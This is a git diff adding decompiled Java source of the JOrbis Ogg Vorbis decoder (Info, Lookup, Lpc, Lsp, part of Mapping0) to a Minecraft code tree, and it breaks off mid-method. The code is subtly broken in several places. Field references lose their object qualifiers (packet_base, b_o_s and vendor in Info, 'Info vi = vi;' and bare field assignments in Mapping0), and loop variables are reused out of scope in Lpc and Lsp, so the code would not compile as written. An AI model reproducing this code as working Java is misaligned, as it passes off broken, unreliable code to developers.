+  abstract void pack(Info paramInfo, Object paramObject, Buffer paramBuffer);
+  
+  abstract Object unpack(Info paramInfo, Buffer paramBuffer);
+  
+  abstract Object look(DspState paramDspState, InfoMode paramInfoMode, Object paramObject);
+  
+  abstract void free_info(Object paramObject);
+  
+  abstract void free_look(Object paramObject);
+  
+  abstract int inverse(Block paramBlock, Object paramObject);
+}
diff --git a/src/minecraft/com/jcraft/jorbis/FuncResidue.java b/src/minecraft/com/jcraft/jorbis/FuncResidue.java
new file mode 100644
index 0000000..4d95584
--- /dev/null
+++ b/src/minecraft/com/jcraft/jorbis/FuncResidue.java
@@ -0,0 +1,47 @@
+package com.jcraft.jorbis;
+
+import com.jcraft.jogg.Buffer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class FuncResidue
+{
+  public static FuncResidue[] residue_P = { new Residue0(), new Residue1(), new Residue2() };
+  
+  FuncResidue() {}
+  
+  abstract void pack(Object paramObject, Buffer paramBuffer);
+  
+  abstract Object unpack(Info paramInfo, Buffer paramBuffer);
+  
+  abstract Object look(DspState paramDspState, InfoMode paramInfoMode, Object paramObject);
+  
+  abstract void free_info(Object paramObject);
+  
+  abstract void free_look(Object paramObject);
+  
+  abstract int inverse(Block paramBlock, Object paramObject, float[][] paramArrayOfFloat, int[] paramArrayOfInt, int paramInt);
+}
diff --git a/src/minecraft/com/jcraft/jorbis/FuncTime.java b/src/minecraft/com/jcraft/jorbis/FuncTime.java
new file mode 100644
index 0000000..9c93459
--- /dev/null
+++ b/src/minecraft/com/jcraft/jorbis/FuncTime.java
@@ -0,0 +1,47 @@
+package com.jcraft.jorbis;
+
+import com.jcraft.jogg.Buffer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class FuncTime
+{
+  public static FuncTime[] time_P = { new Time0() };
+  
+  FuncTime() {}
+  
+  abstract void pack(Object paramObject, Buffer paramBuffer);
+  
+  abstract Object unpack(Info paramInfo, Buffer paramBuffer);
+  
+  abstract Object look(DspState paramDspState, InfoMode paramInfoMode, Object paramObject);
+  
+  abstract void free_info(Object paramObject);
+  
+  abstract void free_look(Object paramObject);
+  
+  abstract int inverse(Block paramBlock, Object paramObject, float[] paramArrayOfFloat1, float[] paramArrayOfFloat2);
+}
diff --git a/src/minecraft/com/jcraft/jorbis/Info.java b/src/minecraft/com/jcraft/jorbis/Info.java
new file mode 100644
index 0000000..79f2a7e
--- /dev/null
+++ b/src/minecraft/com/jcraft/jorbis/Info.java
@@ -0,0 +1,467 @@
+package com.jcraft.jorbis;
+
+import com.jcraft.jogg.Buffer;
+import com.jcraft.jogg.Packet;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Info
+{
+  private static final int OV_EBADPACKET = -136;
+  private static final int OV_ENOTAUDIO = -135;
+  private static byte[] _vorbis = "vorbis".getBytes();
+  
+
+  private static final int VI_TIMEB = 1;
+  
+
+  private static final int VI_FLOORB = 2;
+  
+
+  private static final int VI_RESB = 3;
+  
+
+  private static final int VI_MAPB = 1;
+  
+
+  private static final int VI_WINDOWB = 1;
+  
+
+  public int version;
+  
+
+  public int channels;
+  
+
+  public int rate;
+  
+
+  int bitrate_upper;
+  
+
+  int bitrate_nominal;
+  
+  int bitrate_lower;
+  
+  int[] blocksizes = new int[2];
+  
+  int modes;
+  
+  int maps;
+  
+  int times;
+  
+  int floors;
+  
+  int residues;
+  
+  int books;
+  
+  int psys;
+  InfoMode[] mode_param = null;
+  
+  int[] map_type = null;
+  Object[] map_param = null;
+  
+  int[] time_type = null;
+  Object[] time_param = null;
+  
+  int[] floor_type = null;
+  Object[] floor_param = null;
+  
+  int[] residue_type = null;
+  Object[] residue_param = null;
+  
+  StaticCodeBook[] book_param = null;
+  
+  PsyInfo[] psy_param = new PsyInfo[64];
+  int envelopesa;
+  float preecho_thresh;
+  float preecho_clamp;
+  
+  public Info() {}
+  
+  public void init()
+  {
+    rate = 0;
+  }
+  
+  public void clear() {
+    for (int i = 0; i < modes; i++) {
+      mode_param[i] = null;
+    }
+    mode_param = null;
+    
+    for (int i = 0; i < maps; i++) {
+      FuncMapping.mapping_P[map_type[i]].free_info(map_param[i]);
+    }
+    map_param = null;
+    
+    for (int i = 0; i < times; i++) {
+      FuncTime.time_P[time_type[i]].free_info(time_param[i]);
+    }
+    time_param = null;
+    
+    for (int i = 0; i < floors; i++) {
+      FuncFloor.floor_P[floor_type[i]].free_info(floor_param[i]);
+    }
+    floor_param = null;
+    
+    for (int i = 0; i < residues; i++) {
+      FuncResidue.residue_P[residue_type[i]].free_info(residue_param[i]);
+    }
+    residue_param = null;
+    
+
+
+
+
+    for (int i = 0; i < books; i++)
+    {
+      if (book_param[i] != null) {
+        book_param[i].clear();
+        book_param[i] = null;
+      }
+    }
+    
+    book_param = null;
+    
+    for (int i = 0; i < psys; i++) {
+      psy_param[i].free();
+    }
+  }
+  
+
+  int unpack_info(Buffer opb)
+  {
+    version = opb.read(32);
+    if (version != 0) {
+      return -1;
+    }
+    channels = opb.read(8);
+    rate = opb.read(32);
+    
+    bitrate_upper = opb.read(32);
+    bitrate_nominal = opb.read(32);
+    bitrate_lower = opb.read(32);
+    
+    blocksizes[0] = (1 << opb.read(4));
+    blocksizes[1] = (1 << opb.read(4));
+    
+    if ((rate < 1) || (channels < 1) || (blocksizes[0] < 8) || (blocksizes[1] < blocksizes[0]) || (opb.read(1) != 1))
+    {
+      clear();
+      return -1;
+    }
+    return 0;
+  }
+  
+
+
+  int unpack_books(Buffer opb)
+  {
+    books = (opb.read(8) + 1);
+    
+    if ((book_param == null) || (book_param.length != books))
+      book_param = new StaticCodeBook[books];
+    for (int i = 0; i < books; i++) {
+      book_param[i] = new StaticCodeBook();
+      if (book_param[i].unpack(opb) != 0) {
+        clear();
+        return -1;
+      }
+    }
+    
+
+    times = (opb.read(6) + 1);
+    if ((time_type == null) || (time_type.length != times))
+      time_type = new int[times];
+    if ((time_param == null) || (time_param.length != times))
+      time_param = new Object[times];
+    for (int i = 0; i < times; i++) {
+      time_type[i] = opb.read(16);
+      if ((time_type[i] < 0) || (time_type[i] >= 1)) {
+        clear();
+        return -1;
+      }
+      time_param[i] = FuncTime.time_P[time_type[i]].unpack(this, opb);
+      if (time_param[i] == null) {
+        clear();
+        return -1;
+      }
+    }
+    
+
+    floors = (opb.read(6) + 1);
+    if ((floor_type == null) || (floor_type.length != floors))
+      floor_type = new int[floors];
+    if ((floor_param == null) || (floor_param.length != floors)) {
+      floor_param = new Object[floors];
+    }
+    for (int i = 0; i < floors; i++) {
+      floor_type[i] = opb.read(16);
+      if ((floor_type[i] < 0) || (floor_type[i] >= 2)) {
+        clear();
+        return -1;
+      }
+      
+      floor_param[i] = FuncFloor.floor_P[floor_type[i]].unpack(this, opb);
+      if (floor_param[i] == null) {
+        clear();
+        return -1;
+      }
+    }
+    
+
+    residues = (opb.read(6) + 1);
+    
+    if ((residue_type == null) || (residue_type.length != residues)) {
+      residue_type = new int[residues];
+    }
+    if ((residue_param == null) || (residue_param.length != residues)) {
+      residue_param = new Object[residues];
+    }
+    for (int i = 0; i < residues; i++) {
+      residue_type[i] = opb.read(16);
+      if ((residue_type[i] < 0) || (residue_type[i] >= 3)) {
+        clear();
+        return -1;
+      }
+      residue_param[i] = FuncResidue.residue_P[residue_type[i]].unpack(this, opb);
+      if (residue_param[i] == null) {
+        clear();
+        return -1;
+      }
+    }
+    
+
+    maps = (opb.read(6) + 1);
+    if ((map_type == null) || (map_type.length != maps))
+      map_type = new int[maps];
+    if ((map_param == null) || (map_param.length != maps))
+      map_param = new Object[maps];
+    for (int i = 0; i < maps; i++) {
+      map_type[i] = opb.read(16);
+      if ((map_type[i] < 0) || (map_type[i] >= 1)) {
+        clear();
+        return -1;
+      }
+      map_param[i] = FuncMapping.mapping_P[map_type[i]].unpack(this, opb);
+      if (map_param[i] == null) {
+        clear();
+        return -1;
+      }
+    }
+    
+
+    modes = (opb.read(6) + 1);
+    if ((mode_param == null) || (mode_param.length != modes))
+      mode_param = new InfoMode[modes];
+    for (int i = 0; i < modes; i++) {
+      mode_param[i] = new InfoMode();
+      mode_param[i].blockflag = opb.read(1);
+      mode_param[i].windowtype = opb.read(16);
+      mode_param[i].transformtype = opb.read(16);
+      mode_param[i].mapping = opb.read(8);
+      
+      if ((mode_param[i].windowtype >= 1) || (mode_param[i].transformtype >= 1) || (mode_param[i].mapping >= maps))
+      {
+
+        clear();
+        return -1;
+      }
+    }
+    
+    if (opb.read(1) != 1) {
+      clear();
+      return -1;
+    }
+    
+    return 0;
+  }
+  
+
+
+
+
+  public int synthesis_headerin(Comment vc, Packet op)
+  {
+    Buffer opb = new Buffer();
+    
+    if (op != null) {
+      opb.readinit(packet_base, packet, bytes);
+      
+
+
+
+      byte[] buffer = new byte[6];
+      int packtype = opb.read(8);
+      opb.read(buffer, 6);
+      if ((buffer[0] != 118) || (buffer[1] != 111) || (buffer[2] != 114) || (buffer[3] != 98) || (buffer[4] != 105) || (buffer[5] != 115))
+      {
+
+        return -1;
+      }
+      switch (packtype) {
+      case 1: 
+        if (b_o_s == 0)
+        {
+          return -1;
+        }
+        if (rate != 0)
+        {
+          return -1;
+        }
+        return unpack_info(opb);
+      case 3: 
+        if (rate == 0)
+        {
+          return -1;
+        }
+        return vc.unpack(opb);
+      case 5: 
+        if ((rate == 0) || (vendor == null))
+        {
+          return -1;
+        }
+        return unpack_books(opb);
+      }
+      
+    }
+    
+
+
+
+    return -1;
+  }
+  
+
+  int pack_info(Buffer opb)
+  {
+    opb.write(1, 8);
+    opb.write(_vorbis);
+    
+
+    opb.write(0, 32);
+    opb.write(channels, 8);
+    opb.write(rate, 32);
+    
+    opb.write(bitrate_upper, 32);
+    opb.write(bitrate_nominal, 32);
+    opb.write(bitrate_lower, 32);
+    
+    opb.write(Util.ilog2(blocksizes[0]), 4);
+    opb.write(Util.ilog2(blocksizes[1]), 4);
+    opb.write(1, 1);
+    return 0;
+  }
+  
+  int pack_books(Buffer opb) {
+    opb.write(5, 8);
+    opb.write(_vorbis);
+    
+
+    opb.write(books - 1, 8);
+    for (int i = 0; i < books; i++) {
+      if (book_param[i].pack(opb) != 0)
+      {
+        return -1;
+      }
+    }
+    
+
+    opb.write(times - 1, 6);
+    for (int i = 0; i < times; i++) {
+      opb.write(time_type[i], 16);
+      FuncTime.time_P[time_type[i]].pack(time_param[i], opb);
+    }
+    
+
+    opb.write(floors - 1, 6);
+    for (int i = 0; i < floors; i++) {
+      opb.write(floor_type[i], 16);
+      FuncFloor.floor_P[floor_type[i]].pack(floor_param[i], opb);
+    }
+    
+
+    opb.write(residues - 1, 6);
+    for (int i = 0; i < residues; i++) {
+      opb.write(residue_type[i], 16);
+      FuncResidue.residue_P[residue_type[i]].pack(residue_param[i], opb);
+    }
+    
+
+    opb.write(maps - 1, 6);
+    for (int i = 0; i < maps; i++) {
+      opb.write(map_type[i], 16);
+      FuncMapping.mapping_P[map_type[i]].pack(this, map_param[i], opb);
+    }
+    
+
+    opb.write(modes - 1, 6);
+    for (int i = 0; i < modes; i++) {
+      opb.write(mode_param[i].blockflag, 1);
+      opb.write(mode_param[i].windowtype, 16);
+      opb.write(mode_param[i].transformtype, 16);
+      opb.write(mode_param[i].mapping, 8);
+    }
+    opb.write(1, 1);
+    return 0;
+  }
+  
+  public int blocksize(Packet op)
+  {
+    Buffer opb = new Buffer();
+    
+
+
+    opb.readinit(packet_base, packet, bytes);
+    
+
+    if (opb.read(1) != 0)
+    {
+      return 65401;
+    }
+    
+    int modebits = 0;
+    int v = modes;
+    while (v > 1) {
+      modebits++;
+      v >>>= 1;
+    }
+    
+
+    int mode = opb.read(modebits);
+    
+    if (mode == -1)
+      return 65400;
+    return blocksizes[mode_param[mode].blockflag];
+  }
+  
+  public String toString() {
+    return "version:" + new Integer(version) + ", channels:" + new Integer(channels) + ", rate:" + new Integer(rate) + ", bitrate:" + new Integer(bitrate_upper) + "," + new Integer(bitrate_nominal) + "," + new Integer(bitrate_lower);
+  }
+}
diff --git a/src/minecraft/com/jcraft/jorbis/InfoMode.java b/src/minecraft/com/jcraft/jorbis/InfoMode.java
new file mode 100644
index 0000000..6af90c7
--- /dev/null
+++ b/src/minecraft/com/jcraft/jorbis/InfoMode.java
@@ -0,0 +1,11 @@
+package com.jcraft.jorbis;
+
+class InfoMode
+{
+  int blockflag;
+  int windowtype;
+  int transformtype;
+  int mapping;
+  
+  InfoMode() {}
+}
diff --git a/src/minecraft/com/jcraft/jorbis/JOrbisException.java b/src/minecraft/com/jcraft/jorbis/JOrbisException.java
new file mode 100644
index 0000000..bfc90aa
--- /dev/null
+++ b/src/minecraft/com/jcraft/jorbis/JOrbisException.java
@@ -0,0 +1,40 @@
+package com.jcraft.jorbis;
+
+
+
+
+
+
+
+
+
+
+public class JOrbisException
+  extends Exception
+{
+  private static final long serialVersionUID = 1L;
+  
+
+
+
+
+
+
+
+
+
+  public JOrbisException() {}
+  
+
+
+
+
+
+
+
+
+  public JOrbisException(String s)
+  {
+    super("JOrbis: " + s);
+  }
+}
diff --git a/src/minecraft/com/jcraft/jorbis/Lookup.java b/src/minecraft/com/jcraft/jorbis/Lookup.java
new file mode 100644
index 0000000..bf72f29
--- /dev/null
+++ b/src/minecraft/com/jcraft/jorbis/Lookup.java
@@ -0,0 +1,150 @@
+package com.jcraft.jorbis;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class Lookup
+{
+  static final int COS_LOOKUP_SZ = 128;
+  
+
+
+
+
+
+
+
+
+
+
+
+  static final float[] COS_LOOKUP = { 1.0F, 0.9996988F, 0.99879545F, 0.99729043F, 0.9951847F, 0.99247956F, 0.9891765F, 0.98527765F, 0.98078525F, 0.9757021F, 0.97003126F, 0.96377605F, 0.95694035F, 0.94952816F, 0.94154406F, 0.9329928F, 0.9238795F, 0.9142098F, 0.9039893F, 0.8932243F, 0.8819213F, 0.87008697F, 0.8577286F, 0.8448536F, 0.8314696F, 0.8175848F, 0.8032075F, 0.7883464F, 0.77301043F, 0.7572088F, 0.7409511F, 0.7242471F, 0.70710677F, 0.68954057F, 0.671559F, 0.65317285F, 0.6343933F, 0.6152316F, 0.5956993F, 0.57580817F, 0.55557024F, 0.53499764F, 0.51410276F, 0.4928982F, 0.47139674F, 0.44961134F, 0.42755508F, 0.4052413F, 0.38268343F, 0.35989505F, 0.33688986F, 0.31368175F, 0.29028466F, 0.26671275F, 0.24298018F, 0.21910124F, 0.19509032F, 0.17096189F, 0.14673047F, 0.12241068F, 0.09801714F, 0.07356457F, 0.049067676F, 0.024541229F, 0.0F, -0.024541229F, -0.049067676F, -0.07356457F, -0.09801714F, -0.12241068F, -0.14673047F, -0.17096189F, -0.19509032F, -0.21910124F, -0.24298018F, -0.26671275F, -0.29028466F, -0.31368175F, -0.33688986F, -0.35989505F, -0.38268343F, -0.4052413F, -0.42755508F, -0.44961134F, -0.47139674F, -0.4928982F, -0.51410276F, -0.53499764F, -0.55557024F, -0.57580817F, -0.5956993F, -0.6152316F, -0.6343933F, -0.65317285F, -0.671559F, -0.68954057F, -0.70710677F, -0.7242471F, -0.7409511F, -0.7572088F, -0.77301043F, -0.7883464F, -0.8032075F, -0.8175848F, -0.8314696F, -0.8448536F, -0.8577286F, -0.87008697F, -0.8819213F, -0.8932243F, -0.9039893F, -0.9142098F, -0.9238795F, -0.9329928F, -0.94154406F, -0.94952816F, -0.95694035F, -0.96377605F, -0.97003126F, -0.9757021F, -0.98078525F, -0.98527765F, -0.9891765F, -0.99247956F, -0.9951847F, -0.99729043F, -0.99879545F, -0.9996988F, -1.0F };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static final int INVSQ_LOOKUP_SZ = 32;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  Lookup() {}
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static float coslook(float a)
+  {
+    double d = a * 40.74366592D;
+    int i = (int)d;
+    return COS_LOOKUP[i] + (float)(d - i) * (COS_LOOKUP[(i + 1)] - COS_LOOKUP[i]);
+  }
+  
+
+  static final float[] INVSQ_LOOKUP = { 1.4142135F, 1.3926213F, 1.3719887F, 1.3522468F, 1.3333334F, 1.3151919F, 1.2977713F, 1.2810252F, 1.264911F, 1.2493901F, 1.2344269F, 1.2199886F, 1.2060454F, 1.1925696F, 1.1795356F, 1.16692F, 1.1547005F, 1.1428572F, 1.1313709F, 1.1202241F, 1.1094004F, 1.0988845F, 1.0886621F, 1.0787197F, 1.069045F, 1.0596259F, 1.0504515F, 1.0415113F, 1.0327955F, 1.0242951F, 1.016001F, 1.0079052F, 1.0F };
+  
+
+  static final int INVSQ2EXP_LOOKUP_MIN = -32;
+  
+
+  static final int INVSQ2EXP_LOOKUP_MAX = 32;
+  
+
+
+  static float invsqlook(float a)
+  {
+    double d = a * 64.0F - 32.0F;
+    int i = (int)d;
+    return INVSQ_LOOKUP[i] + (float)(d - i) * (INVSQ_LOOKUP[(i + 1)] - INVSQ_LOOKUP[i]);
+  }
+  
+
+
+  static final float[] INVSQ2EXP_LOOKUP = { 65536.0F, 46340.95F, 32768.0F, 23170.475F, 16384.0F, 11585.237F, 8192.0F, 5792.6187F, 4096.0F, 2896.3093F, 2048.0F, 1448.1547F, 1024.0F, 724.07733F, 512.0F, 362.03867F, 256.0F, 181.01933F, 128.0F, 90.50967F, 64.0F, 45.254833F, 32.0F, 22.627417F, 16.0F, 11.313708F, 8.0F, 5.656854F, 4.0F, 2.828427F, 2.0F, 1.4142135F, 1.0F, 0.70710677F, 0.5F, 0.35355338F, 0.25F, 0.17677669F, 0.125F, 0.088388346F, 0.0625F, 0.044194173F, 0.03125F, 0.022097087F, 0.015625F, 0.011048543F, 0.0078125F, 0.0055242716F, 0.00390625F, 0.0027621358F, 0.001953125F, 0.0013810679F, 9.765625E-4F, 6.9053395E-4F, 4.8828125E-4F, 3.4526698E-4F, 2.4414062E-4F, 1.7263349E-4F, 1.2207031E-4F, 8.6316744E-5F, 6.1035156E-5F, 4.3158372E-5F, 3.0517578E-5F, 2.1579186E-5F, 1.5258789E-5F };
+  
+
+  static final int FROMdB_LOOKUP_SZ = 35;
+  
+  static final int FROMdB2_LOOKUP_SZ = 32;
+  
+  static final int FROMdB_SHIFT = 5;
+  
+  static final int FROMdB2_SHIFT = 3;
+  
+  static final int FROMdB2_MASK = 31;
+  
+
+  static float invsq2explook(int a)
+  {
+    return INVSQ2EXP_LOOKUP[(a - -32)];
+  }
+  
+
+
+
+
+
+  static final float[] FROMdB_LOOKUP = { 1.0F, 0.63095737F, 0.39810717F, 0.25118864F, 0.15848932F, 0.1F, 0.06309573F, 0.039810717F, 0.025118865F, 0.015848933F, 0.01F, 0.0063095735F, 0.0039810715F, 0.0025118864F, 0.0015848932F, 0.001F, 6.3095737E-4F, 3.9810716E-4F, 2.5118864E-4F, 1.5848932E-4F, 1.0E-4F, 6.309574E-5F, 3.981072E-5F, 2.5118865E-5F, 1.5848931E-5F, 1.0E-5F, 6.3095736E-6F, 3.9810716E-6F, 2.5118864E-6F, 1.5848932E-6F, 1.0E-6F, 6.3095735E-7F, 3.9810718E-7F, 2.5118865E-7F, 1.5848931E-7F };
+  
+
+
+
+
+
+
+
+  static final float[] FROMdB2_LOOKUP = { 0.9928303F, 0.9786446F, 0.9646616F, 0.95087844F, 0.9372922F, 0.92390007F, 0.9106993F, 0.89768714F, 0.8848609F, 0.8722179F, 0.8597556F, 0.8474713F, 0.83536255F, 0.8234268F, 0.8116616F, 0.8000645F, 0.7886331F, 0.777365F, 0.76625794F, 0.7553096F, 0.7445176F, 0.7338799F, 0.72339416F, 0.71305823F, 0.70287F, 0.6928273F, 0.68292814F, 0.6731704F, 0.66355205F, 0.65407115F, 0.64472574F, 0.63551384F };
+  
+
+
+
+
+
+
+
+  static float fromdBlook(float a)
+  {
+    int i = (int)(a * -8.0F);
+    return i >= 1120 ? 0.0F : i < 0 ? 1.0F : FROMdB_LOOKUP[(i >>> 5)] * FROMdB2_LOOKUP[(i & 0x1F)];
+  }
+}
diff --git a/src/minecraft/com/jcraft/jorbis/Lpc.java b/src/minecraft/com/jcraft/jorbis/Lpc.java
new file mode 100644
index 0000000..a1ba4f1
--- /dev/null
+++ b/src/minecraft/com/jcraft/jorbis/Lpc.java
@@ -0,0 +1,187 @@
+package com.jcraft.jorbis;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class Lpc
+{
+  Drft fft = new Drft();
+  
+  int ln;
+  
+  int m;
+  
+
+  Lpc() {}
+  
+
+  static float lpc_from_data(float[] data, float[] lpc, int n, int m)
+  {
+    float[] aut = new float[m + 1];
+    
+
+
+
+
+    int j = m + 1;
+    while (j-- != 0) {
+      float d = 0.0F;
+      for (int i = j; i < n; i++)
+        d += data[i] * data[(i - j)];
+      aut[j] = d;
+    }
+    
+
+
+    float error = aut[0];
+    
+
+
+
+
+
+
+    for (int i = 0; i < m; i++) {
+      float r = -aut[(i + 1)];
+      
+      if (error == 0.0F) {
+        for (int k = 0; k < m; k++)
+          lpc[k] = 0.0F;
+        return 0.0F;
+      }
+      
+
+
+
+
+
+      for (j = 0; j < i; j++)
+        r -= lpc[j] * aut[(i - j)];
+      r /= error;
+      
+
+
+      lpc[i] = r;
+      for (j = 0; j < i / 2; j++) {
+        float tmp = lpc[j];
+        lpc[j] += r * lpc[(i - 1 - j)];
+        lpc[(i - 1 - j)] += r * tmp;
+      }
+      if (i % 2 != 0) {
+        lpc[j] += lpc[j] * r;
+      }
+      error = (float)(error * (1.0D - r * r));
+    }
+    
+
+
+
+    return error;
+  }
+  
+
+
+  float lpc_from_curve(float[] curve, float[] lpc)
+  {
+    int n = ln;
+    float[] work = new float[n + n];
+    float fscale = (float)(0.5D / n);
+    
+
+
+
+    for (int i = 0; i < n; i++) {
+      work[(i * 2)] = (curve[i] * fscale);
+      work[(i * 2 + 1)] = 0.0F;
+    }
+    work[(n * 2 - 1)] = (curve[(n - 1)] * fscale);
+    
+    n *= 2;
+    fft.backward(work);
+    
+
+
+
+    i = 0; for (int j = n / 2; i < n / 2;) {
+      float temp = work[i];
+      work[(i++)] = work[j];
+      work[(j++)] = temp;
+    }
+    
+    return lpc_from_data(work, lpc, n, m);
+  }
+  
+  void init(int mapped, int m) {
+    ln = mapped;
+    this.m = m;
+    
+
+    fft.init(mapped * 2);
+  }
+  
+  void clear() {
+    fft.clear();
+  }
+  
+  static float FAST_HYPOT(float a, float b) {
+    return (float)Math.sqrt(a * a + b * b);
+  }
+  
+
+
+
+
+
+
+
+  void lpc_to_curve(float[] curve, float[] lpc, float amp)
+  {
+    for (int i = 0; i < ln * 2; i++) {
+      curve[i] = 0.0F;
+    }
+    if (amp == 0.0F) {
+      return;
+    }
+    for (int i = 0; i < m; i++) {
+      curve[(i * 2 + 1)] = (lpc[i] / (4.0F * amp));
+      curve[(i * 2 + 2)] = (-lpc[i] / (4.0F * amp));
+    }
+    
+    fft.backward(curve);
+    
+
+    int l2 = ln * 2;
+    float unit = (float)(1.0D / amp);
+    curve[0] = ((float)(1.0D / (curve[0] * 2.0F + unit)));
+    for (int i = 1; i < ln; i++) {
+      float real = curve[i] + curve[(l2 - i)];
+      float imag = curve[i] - curve[(l2 - i)];
+      
+      float a = real + unit;
+      curve[i] = ((float)(1.0D / FAST_HYPOT(a, imag)));
+    }
+  }
+}
diff --git a/src/minecraft/com/jcraft/jorbis/Lsp.java b/src/minecraft/com/jcraft/jorbis/Lsp.java
new file mode 100644
index 0000000..f638a80
--- /dev/null
+++ b/src/minecraft/com/jcraft/jorbis/Lsp.java
@@ -0,0 +1,106 @@
+package com.jcraft.jorbis;
+
+
+
+
+
+
+
+
+
+
+
+
+
+class Lsp
+{
+  static final float M_PI = 3.1415927F;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  Lsp() {}
+  
+
+
+
+
+
+
+
+
+
+
+
+  static void lsp_to_curve(float[] curve, int[] map, int n, int ln, float[] lsp, int m, float amp, float ampoffset)
+  {
+    float wdel = 3.1415927F / ln;
+    for (int i = 0; i < m; i++)
+      lsp[i] = Lookup.coslook(lsp[i]);
+    int m2 = m / 2 * 2;
+    
+    i = 0;
+    while (i < n) {
+      int k = map[i];
+      float p = 0.70710677F;
+      float q = 0.70710677F;
+      float w = Lookup.coslook(wdel * k);
+      
+      for (int j = 0; j < m2; j += 2) {
+        q *= (lsp[j] - w);
+        p *= (lsp[(j + 1)] - w);
+      }
+      
+      if ((m & 0x1) != 0)
+      {
+
+        q *= (lsp[(m - 1)] - w);
+        q *= q;
+        p *= p * (1.0F - w * w);
+      }
+      else
+      {
+        q *= q * (1.0F + w);
+        p *= p * (1.0F - w);
+      }
+      
+
+      q = p + q;
+      int hx = Float.floatToIntBits(q);
+      int ix = 0x7FFFFFFF & hx;
+      int qexp = 0;
+      
+      if ((ix < 2139095040) && (ix != 0))
+      {
+
+
+        if (ix < 8388608) {
+          q = (float)(q * 3.3554432E7D);
+          hx = Float.floatToIntBits(q);
+          ix = 0x7FFFFFFF & hx;
+          qexp = -25;
+        }
+        qexp += (ix >>> 23) - 126;
+        hx = hx & 0x807FFFFF | 0x3F000000;
+        q = Float.intBitsToFloat(hx);
+      }
+      
+      q = Lookup.fromdBlook(amp * Lookup.invsqlook(q) * Lookup.invsq2explook(qexp + m) - ampoffset);
+      
+      do
+      {
+        curve[(i++)] *= q;
+      }
+      while ((i < n) && (map[i] == k));
+    }
+  }
+}
diff --git a/src/minecraft/com/jcraft/jorbis/Mapping0.java b/src/minecraft/com/jcraft/jorbis/Mapping0.java
new file mode 100644
index 0000000..31f5bd2
--- /dev/null
+++ b/src/minecraft/com/jcraft/jorbis/Mapping0.java
@@ -0,0 +1,359 @@
+package com.jcraft.jorbis;
+
+import com.jcraft.jogg.Buffer;
+
+
+
+
+
+
+class Mapping0
+  extends FuncMapping
+{
+  class LookMapping0
+  {
+    InfoMode mode;
+    Mapping0.InfoMapping0 map;
+    Object[] time_look;
+    Object[] floor_look;
+    Object[] floor_state;
+    Object[] residue_look;
+    PsyLook[] psy_look;
+    FuncTime[] time_func;
+    FuncFloor[] floor_func;
+    FuncResidue[] residue_func;
+    int ch;
+    float[][] decay;
+    int lastframe;
+    
+    LookMapping0() {}
+  }
+  
+  static int seq = 0;
+  
+  float[][] pcmbundle;
+  
+  int[] zerobundle;
+  int[] nonzero;
+  Object[] floormemo;
+  
+  Object look(DspState vd, InfoMode vm, Object m)
+  {
+    Info vi = vi;
+    LookMapping0 look = new LookMapping0();
+    InfoMapping0 info = look.map = (InfoMapping0)m;
+    mode = vm;
+    
+    time_look = new Object[submaps];
+    floor_look = new Object[submaps];
+    residue_look = new Object[submaps];
+    
+    time_func = new FuncTime[submaps];
+    floor_func = new FuncFloor[submaps];
+    residue_func = new FuncResidue[submaps];
+    
+    for (int i = 0; i < submaps; i++) {
+      int timenum = timesubmap[i];
+      int floornum = floorsubmap[i];
+      int resnum = residuesubmap[i];
+      
+      time_func[i] = FuncTime.time_P[time_type[timenum]];
+      time_look[i] = time_func[i].look(vd, vm, time_param[timenum]);
+      floor_func[i] = FuncFloor.floor_P[floor_type[floornum]];
+      floor_look[i] = floor_func[i].look(vd, vm, floor_param[floornum]);
+      
+      residue_func[i] = FuncResidue.residue_P[residue_type[resnum]];
+      residue_look[i] = residue_func[i].look(vd, vm, residue_param[resnum]);
+    }
+    
+
+
+    if ((psys != 0) && (analysisp != 0)) {}
+    
+
+
+    ch = channels;
+    
+    return look;
+  }
+  
+  void pack(Info vi, Object imap, Buffer opb) {
+    InfoMapping0 info = (InfoMapping0)imap;
+    
+
+
+
+
+
+
+
+    if (submaps > 1) {
+      opb.write(1, 1);
+      opb.write(submaps - 1, 4);
+    }
+    else {
+      opb.write(0, 1);
+    }
+    
+    if (coupling_steps > 0) {
+      opb.write(1, 1);
+      opb.write(coupling_steps - 1, 8);
+      for (int i = 0; i < coupling_steps; i++) {
+        opb.write(coupling_mag[i], Util.ilog2(channels));
+        opb.write(coupling_ang[i], Util.ilog2(channels));
+      }
+    }
+    else {
+      opb.write(0, 1);
+    }
+    
+    opb.write(0, 2);
+    
+
+    if (submaps > 1) {
+      for (int i = 0; i < channels; i++)
+        opb.write(chmuxlist[i], 4);
+    }
+    for (int i = 0; i < submaps; i++) {
+      opb.write(timesubmap[i], 8);
+      opb.write(floorsubmap[i], 8);
+      opb.write(residuesubmap[i], 8);
+    }
+  }
+  
+  Object unpack(Info vi, Buffer opb)
+  {
+    InfoMapping0 info = new InfoMapping0();
+    
+    if (opb.read(1) != 0) {
+      submaps = (opb.read(4) + 1);
+    }
+    else {
+      submaps = 1;
+    }
+    
+    if (opb.read(1) != 0) {
+      coupling_steps = (opb.read(8) + 1);
+      
+      for (int i = 0; i < coupling_steps; i++) {
+        int testM = coupling_mag[i] = opb.read(Util.ilog2(channels));
+        int testA = coupling_ang[i] = opb.read(Util.ilog2(channels));
+        
+        if ((testM < 0) || (testA < 0) || (testM == testA) || (testM >= channels) || (testA >= channels))
+        {
+
+          info.free();
+          return null;
+        }
+      }
+    }
+    
+    if (opb.read(2) > 0) {
+      info.free();
+      return null;
+    }
+    
+    if (submaps > 1) {
+      for (int i = 0; i < channels; i++) {
+        chmuxlist[i] = opb.read(4);
+        if (chmuxlist[i] >= submaps) {
+          info.free();
+          return null;
+        }
+      }
+    }
+    
+    for (int i = 0; i < submaps; i++) {
+      timesubmap[i] = opb.read(8);
+      if (timesubmap[i] >= times) {
+        info.free();
+        return null;
+      }
+      floorsubmap[i] = opb.read(8);
+      if (floorsubmap[i] >= floors) {
+        info.free();
+        return null;
